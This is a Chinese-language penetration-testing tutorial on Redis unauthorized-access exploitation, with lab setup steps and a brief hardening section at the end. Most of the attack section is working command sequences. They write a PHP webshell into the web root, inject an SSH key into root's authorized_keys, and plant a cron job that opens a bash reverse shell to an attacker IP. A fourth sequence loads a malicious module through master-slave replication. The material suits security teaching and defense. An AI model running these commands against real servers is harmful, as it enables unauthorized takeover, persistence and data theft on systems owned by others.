当前位置: 首页 > news >正文

Redis未授权访问漏洞实战:从环境搭建到多种利用手法详解

1. Redis未授权访问漏洞概述

Redis作为高性能的内存数据库,默认配置下存在一个致命的安全隐患——未授权访问漏洞。简单来说,这就像你家大门没上锁,任何人都能随意进出。我在实际渗透测试中遇到过不少企业因此中招,轻则数据泄露,重则服务器沦陷。

这个漏洞的核心在于Redis服务默认监听在0.0.0.0:6379端口,且初始安装后没有启用认证机制。去年给某公司做安全评估时,他们用的Redis 5.0.8版本就因为这个漏洞导致客户数据被爬取。攻击者无需任何凭证就能直接连接Redis服务,执行任意命令。

典型危害场景主要有三类:

  • 数据泄露:直接读取数据库中的所有键值对,包括可能存储的敏感信息
  • 数据破坏:执行FLUSHALL命令清空整个数据库
  • 系统入侵:通过写入计划任务、SSH密钥等方式获取服务器控制权

2. 漏洞环境搭建实战

2.1 靶机环境配置

我推荐使用CentOS 7作为实验环境,这个系统在企业中使用广泛。以下是具体搭建步骤:

# 安装编译依赖 yum install -y gcc make wget # 下载Redis 4.0.14(受影响版本的典型代表) wget http://download.redis.io/releases/redis-4.0.14.tar.gz tar xzf redis-4.0.14.tar.gz cd redis-4.0.14 # 编译安装 make && make install

安装完成后需要关闭保护模式,这是复现漏洞的关键:

# 修改redis.conf sed -i 's/protected-mode yes/protected-mode no/g' redis.conf sed -i 's/bind 127.0.0.1/#bind 127.0.0.1/g' redis.conf # 启动服务 redis-server redis.conf

2.2 攻击机环境准备

Kali Linux天然适合作为攻击机,但需要安装redis-cli工具:

apt update && apt install -y redis-tools

验证连接是否成功:

redis-cli -h 靶机IP info

当看到返回Redis版本信息时,说明环境搭建成功。我遇到过连接失败的情况,通常是防火墙没关,可以执行systemctl stop firewalld临时关闭。

3. 四种经典利用手法详解

3.1 WebShell写入攻击

这是最直接的利用方式,但需要满足两个前提:

  1. 目标服务器运行Web服务
  2. 已知网站绝对路径(如/var/www/html)

具体操作流程:

# 设置保存目录为网站根目录 config set dir /var/www/html # 设置数据库文件名 config set dbfilename shell.php # 写入PHP代码 set payload "<?php system($_GET['cmd']); ?>" # 保存到磁盘 save

写入成功后,访问http://目标IP/shell.php?cmd=id就能执行系统命令。实测时要注意文件权限问题,最好提前用chmod 777 /var/www/html设置目录可写。

3.2 SSH公钥注入

这种方法适合获取服务器持久化访问权限,原理是将攻击者的SSH公钥写入目标的authorized_keys文件:

# 本地生成密钥对 ssh-keygen -t rsa -f /tmp/redis_key # 将公钥格式化后写入Redis (echo -e "\n"; cat /tmp/redis_key.pub; echo -e "\n") > /tmp/key.txt cat /tmp/key.txt | redis-cli -h 靶机IP -x set ssh_key # 设置保存路径为SSH密钥目录 redis-cli -h 靶机IP config set dir /root/.ssh redis-cli -h 靶机IP config set dbfilename "authorized_keys" redis-cli -h 靶机IP save

成功后即可用私钥登录:ssh -i /tmp/redis_key root@靶机IP。需要注意的是,这种方法要求Redis以root权限运行,且.ssh目录已存在。

3.3 定时任务反弹Shell

当需要交互式控制时,可以采用定时任务反弹Shell:

# 攻击机先监听 nc -lvnp 4444 # 通过Redis写入定时任务 redis-cli -h 靶机IP config set dir /var/spool/cron redis-cli -h 靶机IP config set dbfilename root redis-cli -h 靶机IP set payload "\n\n*/1 * * * * /bin/bash -c 'sh -i >& /dev/tcp/攻击机IP/4444 0>&1'\n\n" redis-cli -h 靶机IP save

这个方法的优点是隐蔽性强,缺点是执行有分钟级延迟。我在内网渗透测试中经常用这个手法,成功率很高。

3.4 主从复制RCE

这是较新的利用方式,适用于Redis 4.x-5.x版本,通过加载恶意.so文件实现RCE:

# 下载利用工具 git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand cd RedisModules-ExecuteCommand make # 执行攻击 python3 redis-rce.py -r 靶机IP -L 攻击机IP -f module.so

这种方式的优势是能直接获取系统权限,但依赖外部工具。实际测试中发现某些安全设备会拦截.so文件传输,需要做流量加密。

4. 防御措施建议

根据多年安全运维经验,我总结出以下防护方案:

  1. 网络层隔离

    • 配置防火墙规则,仅允许可信IP访问6379端口
    • 修改Redis默认端口(需同步调整业务配置)
  2. 服务层加固

    # 强制开启认证 echo "requirepass 复杂密码" >> /etc/redis.conf # 限制高危命令 rename-command FLUSHALL "" rename-command CONFIG ""
  3. 系统层防护

    • 以低权限用户运行Redis服务
    • 定期检查crontab和.ssh目录异常项
  4. 监控措施

    • 对Redis的CONFIG、SAVE等敏感命令进行审计
    • 部署文件完整性监控,重点检测web目录和系统关键位置

在一次金融行业渗透测试中,我们发现某系统虽然设置了密码认证,但通过其他漏洞获取密码后仍然可以利用上述手法入侵。因此真正的安全需要纵深防御,单一措施往往不够。

http://www.jsqmd.com/news/522959/

相关文章:

  • 【异常】Maven 依赖冲突:ClassNotFoundException: okio.Options 解决方案
  • Win10 IoT LTSC 2021精简版实测:2G内存老电脑流畅运行的秘密(附下载校验指南)
  • 智能客服新利器:用Qwen3-VL-8B搭建截图问答系统,纯本地运行
  • BertViz终极指南:端到端自然语言生成可视化实践
  • 天虹购物卡线上回收轻松实现! - 团团收购物卡回收
  • OpenClaw备份策略:Qwen3-32B自动压缩关键数据并上传私有云
  • Stylus性能优化终极指南:轻量级内容脚本如何提升网页加载速度
  • 2026年临沂数控编程权威培训口碑,推荐的十大品牌 - 工业推荐榜
  • 2026幼儿英语培训机构怎么选:聚焦四大核心考量点 - 品牌2025
  • 收藏!秋招大厂杀疯了|AI岗80W+offer遍地,程序员小白必看
  • ⋐ 12 ⋑ 软考高项 | 第 7 章:项目立项管理
  • SparkFun Flying Jalapeno Arduino硬件抽象库详解
  • 发生即意义 ——意义行为原生论的终极命题
  • 如何利用latexify_py函数展开器自动生成LaTeX数学公式
  • 2026黄小米厂家行业趋势:三大核心力量重塑格局 - 速递信息
  • Ansys Zemax | 非序列优化向导实战:从基础评价函数到复杂图像匹配
  • 软件测试|常见面试题整理
  • 告别video标签!用vue-video-player为你的Web应用添加专业级视频播放器(支持HLS/m3u8直播)
  • 2026年机械密封加工厂哪家技术强,细聊高性价比品牌排名 - myqiye
  • VCF 集群部署灵活组合:单节点与高可用配置完全指南
  • 如何快速集成snabbt.js与jQuery:无缝提升现有项目动画效果的完整指南
  • CloudFlare Workers隐藏玩法:用JavaScript实现自动签到脚本(附完整代码)
  • 2026年大型净水设备厂家推荐:青州市兴润水处理设备有限公司,工业净水设备/食品净水设备厂家精选 - 品牌推荐官
  • JMeter异步接口测试实战
  • 终极指南:如何用Git高效管理设计模式项目的最佳实践
  • ImageSharp终极指南:探索社区贡献的处理器与编码器插件生态
  • 终极指南:如何在iOS应用中集成TZImagePickerController图片选择器
  • SenseVoice-small ONNX量化版教程:显存占用降低60%的部署实操
  • Stevia最佳实践:10个避免Auto Layout陷阱的技巧
  • 2026年如何选?少儿英语机构挑选指南与五大优质品牌推荐 - 品牌2025